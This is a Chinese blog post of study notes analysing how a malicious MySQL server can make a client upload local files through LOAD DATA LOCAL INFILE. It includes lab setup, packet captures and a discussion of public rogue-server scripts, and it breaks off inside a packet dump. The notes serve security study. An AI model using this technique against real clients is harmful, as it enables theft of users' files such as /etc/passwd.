据说最早2013年在俄国论坛出现。大意是,MySQL Server有机会指示MySQL Client主动上传指定文件,细节参看[1]、[2],写得很清楚,建议先看完它们再继续。
背景介绍
据说最早2013年在俄国论坛出现。大意是,MySQL Server有机会指示MySQL Client主动上传指定文件,细节参看[1]、[2],写得很清楚,建议先看完它们再继续。
很少关注入侵技术,这个洞出来这么多年,看CVE-2019-12086时才知道MySQL还有这么一个洞。本文是一些学习笔记。
搭建测试环境
得安装MySQL Server,以便抓包观察。
安装MySQL 5.7.28
在RedHat 7.6上安装MySQL 5.7.28。
$ rpm -Uvh https://repo.mysql.com/mysql80-community-release-el7-3.noarch.rpm
$ sed -i 's/enabled=1/enabled=0/' /etc/yum.repos.d/mysql-community.repo
$ yum --enablerepo=mysql57-community install mysql-community-server
查看开机自启动的mysql相关服务:
$ systemctl list-unit-files | grep enable | grep mysql
mysqld.service enabled
禁止mysqld.service开机自启动:
$ systemctl disable mysqld.service
为什么禁止自启动?因为我经常用这台RedHat 7.6,平时也用不上MySQL。
手工启动MySQL:
$ systemctl start mysqld.service
查看MySQL状态:
$ systemctl status mysqld.service
寻找MySQL的root口令:
$ grep "A temporary password" /var/log/mysqld.log
2020-01-10T02:52:51.960591Z 1 [Note] A temporary password is generated for root@localhost: ?ep<=+e1f*B*
安全加固:
$ mysql_secure_installation
按提示输入之前那个临时root口令,重新设置root口令。
重启MySQL:
$ systemctl restart mysqld.service
优化测试环境
MySQL Server有一些缺省安全机制,比如root不能远程登录,口令强度有限制,不能太弱。对于正常使用来说,它们有益,对于测试来说,就显得不便。我需要root远程登录,我想设123456这种口令。
$ mysql -h localhost -u root -p
取消弱口令限制:
SET GLOBAL validate_password_length = 6;
SET GLOBAL validate_password_mixed_case_count = 0;
SET GLOBAL validate_password_number_count = 0;
SET GLOBAL validate_password_policy = 0;
SET GLOBAL validate_password_special_char_count = 0;
修改root口令为123456,允许root远程登录:
ALTER USER 'root'@'localhost' IDENTIFIED BY '123456';
CREATE USER 'root'@'%' IDENTIFIED BY '123456';
创建测试表
$ mysql -h localhost -u root -p
CREATE DATABASE IF NOT EXISTS sczdb;
show databases;
use sczdb;
CREATE TABLE IF NOT EXISTS sczdb.scztable ( line VARBINARY(8192) );
show tables;
select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='scztable';
SHOW GRANTS;
GRANT ALL ON sczdb.scztable TO 'root'@'%';
测试完毕后可以删除之:
drop table sczdb.scztable;
drop database sczdb;
Windows上的MySQL Client
https://dev.mysql.com/downloads/mysql/
https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8.0.18-winx64.zip
为了绿色使用,至少得三个文件:
libcrypto-1_1-x64.dll
libssl-1_1-x64.dll
mysql.exe
LOAD DATA LOCAL INFILE
在Linux上测试正常用法
$ mysql -h localhost -u root -p
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE sczdb.scztable FIELDS TERMINATED BY '\n';
select * from sczdb.scztable;
delete from sczdb.scztable;
在Windows上测试正常用法
$ mysql.exe -h 192.168.65.23 -u root -p
LOAD DATA LOCAL INFILE 'c:/windows/win.ini' INTO TABLE sczdb.scztable FIELDS TERMINATED BY '\n';
select * from sczdb.scztable;
delete from sczdb.scztable;
实测时提示:
ERROR 1148 (42000): The used command is not allowed with this MySQL version
$ mysql.exe -V
mysql Ver 8.0.18 for Win64 on x86_64 (MySQL Community Server – GPL)
Windows上MySQL Client 8.0.18缺省不允许”LOAD DATA LOCAL INFILE”,需要显式允
许,下面两种方式均可:
$ mysql.exe -h 192.168.65.23 -u root -p --enable-local-infile
$ mysql.exe -h 192.168.65.23 -u root -p --local-infile
用Wireshark抓包观察通信协议
$ mysql.exe -h 192.168.65.23 -u root -p --enable-local-infile
如果直接抓上面这条命令,会发现MySQL Client很快就进行SSL协商,后续通信全在SSL保护下。我们的目的是观察通信协议,可以关闭SSL保护:
$ mysql.exe -h 192.168.65.23 -u root -p --enable-local-infile --ssl-mode=DISABLED
LOAD DATA LOCAL INFILE 'c:/windows/win.ini' INTO TABLE sczdb.scztable FIELDS TERMINATED BY '\n';
select * from sczdb.scztable;
delete from sczdb.scztable;
Summary
下面抓取报文的Summary:
--------------------------------------------------------------------------
No. len Protocol src dst sport dport Info
4 132 MySQL 192.168.65.23 192.168.65.1 3306 60863 Server Greeting proto=10 version=5.7.28
5 256 MySQL 192.168.65.1 192.168.65.23 60863 3306 Login Request user=root
9 65 MySQL 192.168.65.23 192.168.65.1 3306 60863 Response OK
10 91 MySQL 192.168.65.1 192.168.65.23 60863 3306 Request Query
11 146 MySQL 192.168.65.23 192.168.65.1 3306 60863 Response
14 154 MySQL 192.168.65.1 192.168.65.23 60863 3306 Request Query
15 77 MySQL 192.168.65.23 192.168.65.1 3306 60863 Response TABULAR
16 741 MySQL 192.168.65.1 192.168.65.23 60863 3306 Request[Malformed Packet]
17 114 MySQL 192.168.65.23 192.168.65.1 3306 60863 Response OK
--------------------------------------------------------------------------
TCP三次握手后,MySQL Server主动发送”Server Greeting”(4号报文)。5号报文开始登录认证,9号报文指明登录成功。10号报文是MySQL Client缺省发出的”select @@version_comment limit 1″,11号报文是其响应。14号报文是”LOAD DATA LOCAL INFILE”,15号报文是所谓的”Response TABULAR”,16号报文是MySQL Client向MySQL Server上传文件。
Server Greeting
--------------------------------------------------------------------------
No. len Protocol src dst sport dport Info
4 132 MySQL 192.168.65.23 192.168.65.1 3306 60863 Server Greeting proto=10 version=5.7.28
Internet Protocol Version 4, Src: 192.168.65.23, Dst: 192.168.65.1
Transmission Control Protocol, Src Port: 3306, Dst Port: 60863, Seq: 1, Ack: 1, Len: 78
MySQL Protocol
Packet Length: 74
Packet Number: 0
Server Greeting
Protocol: 10
Version: 5.7.28
Thread ID: 7
Salt: =J3<\037s3K
Server Capabilities: 0xffff
.... .... .... ...1 = Long Password: Set
.... .... .... ..1. = Found Rows: Set
.... .... .... .1.. = Long Column Flags: Set
.... .... .... 1... = Connect With Database: Set
.... .... ...1 .... = Don't Allow database.table.column: Set
.... .... ..1. .... = Can use compression protocol: Set
.... .... .1.. .... = ODBC Client: Set
.... .... 1... .... = Can Use LOAD DATA LOCAL: Set
.... ...1 .... .... = Ignore Spaces before '(': Set
.... ..1. .... .... = Speaks 4.1 protocol (new flag): Set
.... .1.. .... .... = Interactive Client: Set
.... 1... .... .... = Switch to SSL after handshake: Set
...1 .... .... .... = Ignore sigpipes: Set
..1. .... .... .... = Knows about transactions: Set
.1.. .... .... .... = Speaks 4.1 protocol (old flag): Set
1... .... .... .... = Can do 4.1 authentication: Set
Server Language: latin1 COLLATE latin1_swedish_ci (8)
Server Status: 0x0002
.... .... .... ...0 = In transaction: Not set
.... .... .... ..1. = AUTO_COMMIT: Set
.... .... .... .0.. = More results: Not set
.... .... .... 0... = Multi query - more resultsets: Not set
.... .... ...0 .... = Bad index used: Not set
.... .... ..0. .... = No index used: Not set
.... .... .0.. .... = Cursor exists: Not set
.... .... 0... .... = Last row sent: Not set
.... ...0 .... .... = database dropped: Not set
.... ..0. .... .... = No backslash escapes: Not set
.... .0.. .... .... = Session state changed: Not set
.... 0... .... .... = Query was slow: Not set
...0 .... .... .... = PS Out Params: Not set
Extended Server Capabilities: 0xc1ff
.... .... .... ...1 = Multiple statements: Set
.... .... .... ..1. = Multiple results: Set
.... .... .... .1.. = PS Multiple results: Set
.... .... .... 1... = Plugin Auth: Set
.... .... ...1 .... = Connect attrs: Set
.... .... ..1. .... = Plugin Auth LENENC Client Data: Set
.... .... .1.. .... = Client can handle expired passwords: Set
.... .... 1... .... = Session variable tracking: Set
.... ...1 .... .... = Deprecate EOF: Set
1100 000. .... .... = Unused: 0x60
Authentication Plugin Length: 21
Unused: 00000000000000000000
Salt: \v\036E4\001"IUqCRX
Authentication Plugin: mysql_native_password
0030 4a 00 00 00 0a 35 2e 37 2e 32 J....5.7.2
0040 38 00 07 00 00 00 3d 4a 33 3c 1f 73 33 4b 00 ff 8.....=J3<.s3K..
0050 ff 08 02 00 ff c1 15 00 00 00 00 00 00 00 00 00 ................
0060 00 0b 1e 45 34 01 22 49 55 71 43 52 58 00 6d 79 ...E4."IUqCRX.my
0070 73 71 6c 5f 6e 61 74 69 76 65 5f 70 61 73 73 77 sql_native_passw
0080 6f 72 64 00 ord.
--------------------------------------------------------------------------
Login Request
--------------------------------------------------------------------------
No. len Protocol src dst sport dport Info
5 256 MySQL 192.168.65.1 192.168.65.23 60863 3306 Login Request user=root
Internet Protocol Version 4, Src: 192.168.65.1, Dst: 192.168.65.23
Transmission Control Protocol, Src Port: 60863, Dst Port: 3306, Seq: 1, Ack: 79, Len: 202
MySQL Protocol
Packet Length: 198
Packet Number: 1
Login Request
Client Capabilities: 0xa685
.... .... .... ...1 = Long Password: Set
.... .... .... ..0. = Found Rows: Not set
.... .... .... .1.. = Long Column Flags: Set
.... .... .... 0... = Connect With Database: Not set
.... .... ...0 .... = Don't Allow database.table.column: Not set
.... .... ..0. .... = Can use compression protocol: Not set
.... .... .0.. .... = ODBC Client: Not set
.... .... 1... .... = Can Use LOAD DATA LOCAL: Set
.... ...0 .... .... = Ignore Spaces before '(': Not set
.... ..1. .... .... = Speaks 4.1 protocol (new flag): Set
.... .1.. .... .... = Interactive Client: Set
.... 0... .... .... = Switch to SSL after handshake: Not set
...0 .... .... .... = Ignore sigpipes: Not set
..1. .... .... .... = Knows about transactions: Set
.0.. .... .... .... = Speaks 4.1 protocol (old flag): Not set
1... .... .... .... = Can do 4.1 authentication: Set
Extended Client Capabilities: 0x01ff
.... .... .... ...1 = Multiple statements: Set
.... .... .... ..1. = Multiple results: Set
.... .... .... .1.. = PS Multiple results: Set
.... .... .... 1... = Plugin Auth: Set
.... .... ...1 .... = Connect attrs: Set
.... .... ..1. .... = Plugin Auth LENENC Client Data: Set
.... .... .1.. .... = Client can handle expired passwords: Set
.... .... 1... .... = Session variable tracking: Set
.... ...1 .... .... = Deprecate EOF: Set
0000 000. .... .... = Unused: 0x00
MAX Packet: 16777216
Charset: cp850 COLLATE cp850_general_ci (4)
Username: root
Client Auth Plugin: caching_sha2_password
Connection Attributes
Connection Attributes length: 137
Connection Attribute - _pid: 13292
Connection Attribute Name Length: 4
Connection Attribute Name: _pid
Connection Attribute Name Length: 5
Connection Attribute Value: 13292
Connection Attribute - program_name: mysql
Connection Attribute Name Length: 12
Connection Attribute Name: program_name
Connection Attribute Name Length: 5
Connection Attribute Value: mysql
Connection Attribute - os_user: Administrator
Connection Attribute Name Length: 7
Connection Attribute Name: os_user
Connection Attribute Name Length: 13
Connection Attribute Value: Administrator
Connection Attribute - _client_name: libmysql
Connection Attribute Name Length: 12
Connection Attribute Name: _client_name
Connection Attribute Name Length: 8
Connection Attribute Value: libmysql
Connection Attribute - _thread: 4884
Connection Attribute Name Length: 7
Connection Attribute Name: _thread
Connection Attribute Name Length: 4
Connection Attribute Value: 4884
Connection Attribute - _client_version: 8.0.18
Connection Attribute Name Length: 15
Connection Attribute Name: _client_version
Connection Attribute Name Length: 6
Connection Attribute Value: 8.0.18
Connection Attribute - _os: Win64
Connection Attribute Name Length: 3
Connection Attribute Name: _os
Connection Attribute Name Length: 5
Connection Attribute Value: Win64
Connection Attribute - _platform: x86_64
Connection Attribute Name Length: 9
Connection Attribute Name: _platform
Connection Attribute Name Length: 6
Connection Attribute Value: x86_64
0030 c6 00 00 01 85 a6 ff 01 00 00 ..........
0040 00 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0050 00 00 00 00 00 00 00 00 00 00 72 6f 6f 74 00 00 ..........root..
0060 63 61 63 68 69 6e 67 5f 73 68 61 32 5f 70 61 73 caching_sha2_pas
0070 73 77 6f 72 64 00 89 04 5f 70 69 64 05 31 33 32 sword..._pid.132
0080 39 32 0c 70 72 6f 67 72 61 6d 5f 6e 61 6d 65 05 92.program_name.
0090 6d 79 73 71 6c 07 6f 73 5f 75 73 65 72 0d 41 64 mysql.os_user.Ad
00a0 6d 69 6e 69 73 74 72 61 74 6f 72 0c 5f 63 6c 69 ministrator._cli
00b0 65 6e 74 5f 6e 61 6d 65 08 6c 69 62 6d 79 73 71 ent_name.libmysq
00c0 6c 07 5f 74 68 72 65 61 64 04 34 38 38 34 0f 5f l._thread.4884._
00d0 63 6c 69 65 6e 74 5f 76 65 72 73 69 6f 6e 06 38 client_version.8
00e0 2e 30 2e 31 38 03 5f 6f 73 05 57 69 6e 36 34 09 .0.18._os.Win64.
00f0 5f 70 6c 61 74 66 6f 72 6d 06 78 38 36 5f 36 34 _platform.x86_64
--------------------------------------------------------------------------
登录成功的响应
--------------------------------------------------------------------------
No. len Protocol src dst sport dport Info
9 65 MySQL 192.168.65.23 192.168.65.1 3306 60863 Response OK
Internet Protocol Version 4, Src: 192.168.65.23, Dst: 192.168.65.1
Transmission Control Protocol, Src Port: 3306, Dst Port: 60863, Seq: 127, Ack: 227, Len: 11
MySQL Protocol
Packet Length: 7
Packet Number: 4
Affected Rows: 0
Server Status: 0x0002
.... .... .... ...0 = In transaction: Not set
.... .... .... ..1. = AUTO_COMMIT: Set
.... .... .... .0.. = More results: Not set
.... .... .... 0... = Multi query - more resultsets: Not set
.... .... ...0 .... = Bad index used: Not set
.... .... ..0. .... = No index used: Not set
.... .... .0.. .... = Cursor exists: Not set
.... .... 0... .... = Last row sent: Not set
.... ...0 .... .... = database dropped: Not set
.... ..0. .... .... = No backslash escapes: Not set
.... .0.. .... .... = Session state changed: Not set
.... 0... .... .... = Query was slow: Not set
...0 .... .... .... = PS Out Params: Not set
Warnings: 0
0030 07 00 00 04 00 00 00 02 00 00 ..........
0040 00 .
--------------------------------------------------------------------------
select @@version_comment limit 1
--------------------------------------------------------------------------
No. len Protocol src dst sport dport Info
10 91 MySQL 192.168.65.1 192.168.65.23 60863 3306 Request Query
Internet Protocol Version 4, Src: 192.168.65.1, Dst: 192.168.65.23
Transmission Control Protocol, Src Port: 60863, Dst Port: 3306, Seq: 227, Ack: 138, Len: 37
MySQL Protocol
Packet Length: 33
Packet Number: 0
Request Command Query
Command: Query (3)
Statement: select @@version_comment limit 1
0030 21 00 00 00 03 73 65 6c 65 63 !....selec
0040 74 20 40 40 76 65 72 73 69 6f 6e 5f 63 6f 6d 6d t @@version_comm
0050 65 6e 74 20 6c 69 6d 69 74 20 31 ent limit 1
--------------------------------------------------------------------------
No. len Protocol src dst sport dport Info
11 146 MySQL 192.168.65.23 192.168.65.1 3306 60863 Response
Internet Protocol Version 4, Src: 192.168.65.23, Dst: 192.168.65.1
Transmission Control Protocol, Src Port: 3306, Dst Port: 60863, Seq: 138, Ack: 264, Len: 92
MySQL Protocol
Packet Length: 1
Packet Number: 1
Number of fields: 1
MySQL Protocol
Packet Length: 39
Packet Number: 2
Catalog: def
Database:
Table:
Original table:
Name: @@version_comment
Original name:
Charset number: cp850 COLLATE cp850_general_ci (4)
Length: 28
Type: FIELD_TYPE_VAR_STRING (253)
Flags: 0x0000
.... .... .... ...0 = Not null: Not set
.... .... .... ..0. = Primary key: Not set
.... .... .... .0.. = Unique key: Not set
.... .... .... 0... = Multiple key: Not set
.... .... ...0 .... = Blob: Not set
.... .... ..0. .... = Unsigned: Not set
.... .... .0.. .... = Zero fill: Not set
.... .... 0... .... = Binary: Not set
.... ...0 .... .... = Enum: Not set
.... ..0. .... .... = Auto increment: Not set
.... .0.. .... .... = Timestamp: Not set
.... 0... .... .... = Set: Not set
Decimals: 31
MySQL Protocol
Packet Length: 29
Packet Number: 3
Catalog: MySQL Community Server (GPL)
[Malformed Packet: MySQL]
[Expert Info (Error/Malformed): Malformed Packet (Exception occurred)]
[Malformed Packet (Exception occurred)]
[Severity level: Error]
[Group: Malformed]
MySQL Protocol
Packet Length: 7
Packet Number: 4
EOF marker: 254
Warnings: 0
Server Status: 0x0002
.... .... .... ...0 = In transaction: Not set
.... .... .... ..1. = AUTO_COMMIT: Set
.... .... .... .0.. = More results: Not set
.... .... .... 0... = Multi query - more resultsets: Not set
.... .... ...0 .... = Bad index used: Not set
.... .... ..0. .... = No index used: Not set
.... .... .0.. .... = Cursor exists: Not set
.... .... 0... .... = Last row sent: Not set
.... ...0 .... .... = database dropped: Not set
.... ..0. .... .... = No backslash escapes: Not set
.... .0.. .... .... = Session state changed: Not set
.... 0... .... .... = Query was slow: Not set
...0 .... .... .... = PS Out Params: Not set
Payload: 0000
[Expert Info (Warning/Undecoded): FIXME - dissector is incomplete]
[FIXME - dissector is incomplete]
[Severity level: Warning]
[Group: Undecoded]
0000 00 0c 29 19 8f b4 08 00 45 00 ..).....E.
0010 00 84 30 7e 40 00 40 06 06 8d c0 a8 41 17 c0 a8 ..0~@.@.....A...
0020 41 01 0c ea ed bf 0f 5d 9a 05 16 af bf 92 50 18 A......]......P.
0030 00 ed 05 87 00 00 01 00 00 01 01 27 00 00 02 03 ...........'....
0040 64 65 66 00 00 00 11 40 40 76 65 72 73 69 6f 6e def....@@version
0050 5f 63 6f 6d 6d 65 6e 74 00 0c 04 00 1c 00 00 00 _comment........
0060 fd 00 00 1f 00 00 1d 00 00 03 1c 4d 79 53 51 4c ...........MySQL
0070 20 43 6f 6d 6d 75 6e 69 74 79 20 53 65 72 76 65 Community Serve
0080 72 20 28 47 50 4c 29 07 00 00 04 fe 00 00 02 00 r (GPL).........
0090 00 00 ..
--------------------------------------------------------------------------
LOAD DATA LOCAL INFILE
--------------------------------------------------------------------------
No. len Protocol src dst sport dport Info
14 154 MySQL 192.168.65.1 192.168.65.23 60863 3306 Request Query
Internet Protocol Version 4, Src: 192.168.65.1, Dst: 192.168.65.23
Transmission Control Protocol, Src Port: 60863, Dst Port: 3306, Seq: 264, Ack: 230, Len: 100
MySQL Protocol
Packet Length: 96
Packet Number: 0
Request Command Query
Command: Query (3)
Statement: LOAD DATA LOCAL INFILE 'c:/windows/win.ini' INTO TABLE sczdb.scztable FIELDS TERMINATED BY '\n'
0030 60 00 00 00 03 4c 4f 41 44 20 `....LOAD
0040 44 41 54 41 20 4c 4f 43 41 4c 20 49 4e 46 49 4c DATA LOCAL INFIL
0050 45 20 27 63 3a 2f 77 69 6e 64 6f 77 73 2f 77 69 E 'c:/windows/wi
0060 6e 2e 69 6e 69 27 20 49 4e 54 4f 20 54 41 42 4c n.ini' INTO TABL
0070 45 20 73 63 7a 64 62 2e 73 63 7a 74 61 62 6c 65 E sczdb.scztable
0080 20 46 49 45 4c 44 53 20 54 45 52 4d 49 4e 41 54 FIELDS TERMINAT
0090 45 44 20 42 59 20 27 5c 6e 27 ED BY '\n'
--------------------------------------------------------------------------
Response TABULAR
--------------------------------------------------------------------------
No. len Protocol src dst sport dport Info
15 77 MySQL 192.168.65.23 192.168.65.1 3306 60863 Response TABULAR
Internet Protocol Version 4, Src: 192.168.65.23, Dst: 192.168.65.1
Transmission Control Protocol, Src Port: 3306, Dst Port: 60863, Seq: 230, Ack: 364, Len: 23
MySQL Protocol
Packet Length: 19
Packet Number: 1
Number of fields: 0
Extra data: 99
Payload: 3a2f77696e646f77732f77696e2e696e69
[Expert Info (Warning/Undecoded): FIXME - dissector is incomplete]
[FIXME - dissector is incomplete]
[Severity level: Warning]
[Group: Undecoded]
0030 13 00 00 01 fb 63 3a 2f 77 69 .....c:/wi
0040 6e 64 6f 77 73 2f 77 69 6e 2e 69 6e 69 ndows/win.ini
--------------------------------------------------------------------------
上传文件
--------------------------------------------------------------------------
No. len Protocol src dst sport dport Info
16 741 MySQL 192.168.65.1 192.168.65.23 60863 3306 Request[Malformed Packet]
Internet Protocol Version 4, Src: 192.168.65.1, Dst: 192.168.65.23
Transmission Control Protocol, Src Port: 60863, Dst Port: 3306, Seq: 364, Ack: 253, Len: 687
MySQL Protocol
Packet Length: 679
Packet Number: 2
Request Command Unknown (59)
Command: Unknown (59)
Payload: 20666f722031362d6269742061707020737570706f72740d...
[Expert Info (Warning/Protocol): Unknown/invalid command code]
[Unknown/invalid command code]
[Severity level: Warning]
[Group: Protocol]
MySQL Protocol
Packet Length: 0
Packet Number: 3
[Malformed Packet: MySQL]
[Expert Info (Error/Malformed): Malformed Packet (Exception occurred)]
[Malformed Packet (Exception occurred)]
[Severity level: Error]
[Group: Malformed]
0030 a7 02 00 02 3b 20 66 6f 72 20 ....; for
0040 31 36 2d 62 69 74 20 61 70 70 20 73 75 70 70 6f 16-bit app suppo
0050 72 74 0d 0a 5b 66 6f 6e 74 73 5d 0d 0a 5b 65 78 rt..[fonts]..[ex
0060 74 65 6e 73 69 6f 6e 73 5d 0d 0a 5b 6d 63 69 20 tensions]..[mci
0070 65 78 74 65 6e 73 69 6f 6e 73 5d 0d 0a 5b 66 69 extensions]..[fi
0080 6c 65 73 5d 0d 0a 5b 4d 43 49 20 45 78 74 65 6e les]..[MCI Exten
0090 73 69 6f 6e 73 2e 42 41 4b 5d 0d 0a 33 67 32 3d sions.BAK]..3g2=
00a0 4d 50 45 47 56 69 64 65 6f 0d 0a 33 67 70 3d 4d MPEGVideo..3gp=M
00b0 50 45 47 56 69 64 65 6f 0d 0a 33 67 70 32 3d 4d PEGVideo..3gp2=M
00c0 50 45 47 56 69 64 65 6f 0d 0a 33 67 70 70 3d 4d PEGVideo..3gpp=M
00d0 50 45 47 56 69 64 65 6f 0d 0a 61 61 63 3d 4d 50 PEGVideo..aac=MP
00e0 45 47 56 69 64 65 6f 0d 0a 61 64 74 3d 4d 50 45 EGVideo..adt=MPE
00f0 47 56 69 64 65 6f 0d 0a 61 64 74 73 3d 4d 50 45 GVideo..adts=MPE
0100 47 56 69 64 65 6f 0d 0a 6d 32 74 3d 4d 50 45 47 GVideo..m2t=MPEG
0110 56 69 64 65 6f 0d 0a 6d 32 74 73 3d 4d 50 45 47 Video..m2ts=MPEG
0120 56 69 64 65 6f 0d 0a 6d 32 76 3d 4d 50 45 47 56 Video..m2v=MPEGV
0130 69 64 65 6f 0d 0a 6d 34 61 3d 4d 50 45 47 56 69 ideo..m4a=MPEGVi
0140 64 65 6f 0d 0a 6d 34 76 3d 4d 50 45 47 56 69 64 deo..m4v=MPEGVid
0150 65 6f 0d 0a 6d 6f 64 3d 4d 50 45 47 56 69 64 65 eo..mod=MPEGVide
0160 6f 0d 0a 6d 6f 76 3d 4d 50 45 47 56 69 64 65 6f o..mov=MPEGVideo
0170 0d 0a 6d 70 34 3d 4d 50 45 47 56 69 64 65 6f 0d ..mp4=MPEGVideo.
0180 0a 6d 70 34 76 3d 4d 50 45 47 56 69 64 65 6f 0d .mp4v=MPEGVideo.
0190 0a 6d 74 73 3d 4d 50 45 47 56 69 64 65 6f 0d 0a .mts=MPEGVideo..
01a0 74 73 3d 4d 50 45 47 56 69 64 65 6f 0d 0a 74 74 ts=MPEGVideo..tt
01b0 73 3d 4d 50 45 47 56 69 64 65 6f 0d 0a 5b 45 53 s=MPEGVideo..[ES
01c0 50 33 32 5d 0d 0a 4c 65 66 74 3d 30 0d 0a 54 6f P32]..Left=0..To
01d0 70 3d 37 36 38 0d 0a 52 69 67 68 74 3d 31 32 38 p=768..Right=128
01e0 30 0d 0a 42 6f 74 74 6f 6d 3d 31 30 32 34 0d 0a 0..Bottom=1024..
01f0 63 78 57 6e 64 3d 31 32 37 32 0d 0a 63 78 4c 69 cxWnd=1272..cxLi
0200 73 74 31 3d 33 31 38 0d 0a 41 75 74 6f 43 6c 6f st1=318..AutoClo
0210 73 65 3d 30 0d 0a 44 65 62 75 67 4f 75 74 70 75 se=0..DebugOutpu
0220 74 3d 31 0d 0a 43 6f 6d 70 6c 65 74 69 6f 6e 3d t=1..Completion=
0230 32 0d 0a 54 53 50 49 56 65 72 73 69 6f 6e 3d 31 2..TSPIVersion=1
0240 33 31 30 37 32 0d 0a 4e 75 6d 4c 69 6e 65 73 3d 31072..NumLines=
0250 33 0d 0a 4e 75 6d 41 64 64 72 73 50 65 72 4c 69 3..NumAddrsPerLi
0260 6e 65 3d 32 0d 0a 4e 75 6d 43 61 6c 6c 73 50 65 ne=2..NumCallsPe
0270 72 41 64 64 72 3d 31 0d 0a 4e 75 6d 50 68 6f 6e rAddr=1..NumPhon
0280 65 73 3d 32 0d 0a 41 75 74 6f 47 61 74 68 65 72 es=2..AutoGather
0290 47 65 6e 65 72 61 74 65 4d 73 67 73 3d 31 0d 0a GenerateMsgs=1..
02a0 44 69 73 61 62 6c 65 55 49 3d 30 0d 0a 5b 53 63 DisableUI=0..[Sc
02b0 69 43 61 6c 63 5d 0d 0a 6c 61 79 6f 75 74 3d 30 iCalc]..layout=0
02c0 0d 0a 5b 53 79 73 74 65 6d 5d 0d 0a 57 54 5f 41 ..[System]..WT_A
02d0 43 43 4f 55 4e 54 5f 45 4e 43 4f 44 45 3d 31 0d CCOUNT_ENCODE=1.
02e0 0a 00 00 00 03 .....
--------------------------------------------------------------------------
win.ini内容如下:
--------------------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo
[ESP32]
Left=0
Top=768
Right=1280
Bottom=1024
cxWnd=1272
cxList1=318
AutoClose=0
DebugOutput=1
Completion=2
TSPIVersion=131072
NumLines=3
NumAddrsPerLine=2
NumCallsPerAddr=1
NumPhones=2
AutoGatherGenerateMsgs=1
DisableUI=0
[SciCalc]
layout=0
[System]
WT_ACCOUNT_ENCODE=1
--------------------------------------------------------------------------
“幺蛾子”所在
MySQL Client从来自MySQL Server的”Response TABULAR”(15号报文)中获取文件名,然后在16号报文中上传相应文件。MySQL Client主动发出的14号报文就是个摆设。更要命的是,如果MySQL Client允许”LOAD DATA LOCAL INFILE”,当它收到来自MySQL Server的”Response TABULAR”时,不管自己是否主动发起过上传文件的请求,都会上传文件。
前面抓取的报文中,MySQL Client会主动”select @@version_comment limit 1″,如果远端是恶意MySQL Server,可以直接响应以”Response TABULAR”,MySQL Client将立即上传文件,不需要其他交互。
rogue_mysql_server.py
已经有人写了恶意MySQL Server,参[3],网上有三个版本:
rogue_mysql_server_Gifts.py // 2013版本,已不适用较新的MySQL Client
rogue_mysql_server_allyshka.py // 2016版
rogue_mysql_server_jas502n.py // 2019年中国人改的
它们本名都是rogue_mysql_server.py,加上作者名以便叙述。
rogue_mysql_server_Gifts.py
有几篇讲CVE-2019-12086的文章给的链接就是rogue_mysql_server_Gifts.py,但我用这个版本死活不能读取MySQL Client端文件。
在Linux上:
$ python2 rogue_mysql_server_Gifts.py
在Windows上:
$ mysql.exe -h 192.168.65.23 -u root -p --enable-local-infile
ERROR 2027 (HY000): Malformed packet
MySQL Client访问恶意MySQL Server时提示”Malformed packet”。
这次MySQL Client不必指定”–ssl-mode=DISABLED”。通信过程是否启用SSL由Server和Client协商后决定,”Server Greeting”中”Server Capabilities”字段有:
…. 0… …. …. = Switch to SSL after handshake: Not set
“Login Request”中”Client Capabilities”字段有:
…. 0… …. …. = Switch to SSL after handshake: Not set
只有这两个bit同时置位才会启用SSL。rogue_mysql_server.py的”Server Greeting”中”Server Capabilities”字段没有启用SSL,此时MySQL Client发出的
“Login Request”中”Client Capabilities”字段也不会启用SSL。即使MySQL Server启用SSL,MySQL Client仍可通过”Login Request”中”Client Capabilities”字段表明己方不支持SSL,这跟本文主旨无关,就是提一句。
过于陈旧的”Server Greeting”
抓包观察:
--------------------------------------------------------------------------
No. len Protocol src dst sport dport Info
4 123 MySQL 192.168.65.23 192.168.65.1 3306 61191 Server Greeting proto=10 version=3.0.0-Evil_Mysql_Server
Internet Protocol Version 4, Src: 192.168.65.23, Dst: 192.168.65.1
Transmission Control Protocol, Src Port: 3306, Dst Port: 61191, Seq: 1, Ack: 1, Len: 69
MySQL Protocol
Packet Length: 65
Packet Number: 0
Server Greeting
Protocol: 10
Version: 3.0.0-Evil_Mysql_Server
Thread ID: 54
Salt: evilsalt
Server Capabilities: 0xf7df
.... .... .... ...1 = Long Password: Set
.... .... .... ..1. = Found Rows: Set
.... .... .... .1.. = Long Column Flags: Set
.... .... .... 1... = Connect With Database: Set
.... .... ...1 .... = Don't Allow database.table.column: Set
.... .... ..0. .... = Can use compression protocol: Not set
.... .... .1.. .... = ODBC Client: Set
.... .... 1... .... = Can Use LOAD DATA LOCAL: Set
.... ...1 .... .... = Ignore Spaces before '(': Set
.... ..1. .... .... = Speaks 4.1 protocol (new flag): Set
.... .1.. .... .... = Interactive Client: Set
.... 0... .... .... = Switch to SSL after handshake: Not set
...1 .... .... .... = Ignore sigpipes: Set
..1. .... .... .... = Knows about transactions: Set
.1.. .... .... .... = Speaks 4.1 protocol (old flag): Set
1... .... .... .... = Can do 4.1 authentication: Set
Server Language: latin1 COLLATE latin1_swedish_ci (8)
Server Status: 0x0002
.... .... .... ...0 = In transaction: Not set
.... .... .... ..1. = AUTO_COMMIT: Set
.... .... .... .0.. = More results: Not set
.... .... .... 0... = Multi query - more resultsets: Not set
.... .... ...0 .... = Bad index used: Not set
.... .... ..0. .... = No index used: Not set
.... .... .0.. .... = Cursor exists: Not set
.... .... 0... .... = Last row sent: Not set
.... ...0 .... .... = database dropped: Not set
.... ..0. .... .... = No backslash escapes: Not set
.... .0.. .... .... = Session state changed: Not set
.... 0... .... .... = Query was slow: Not set
...0 .... .... .... = PS Out Params: Not set
Extended Server Capabilities: 0x0000
.... .... .... ...0 = Multiple statements: Not set
.... .... .... ..0. = Multiple results: Not set
.... .... .... .0.. = PS Multiple results: Not set
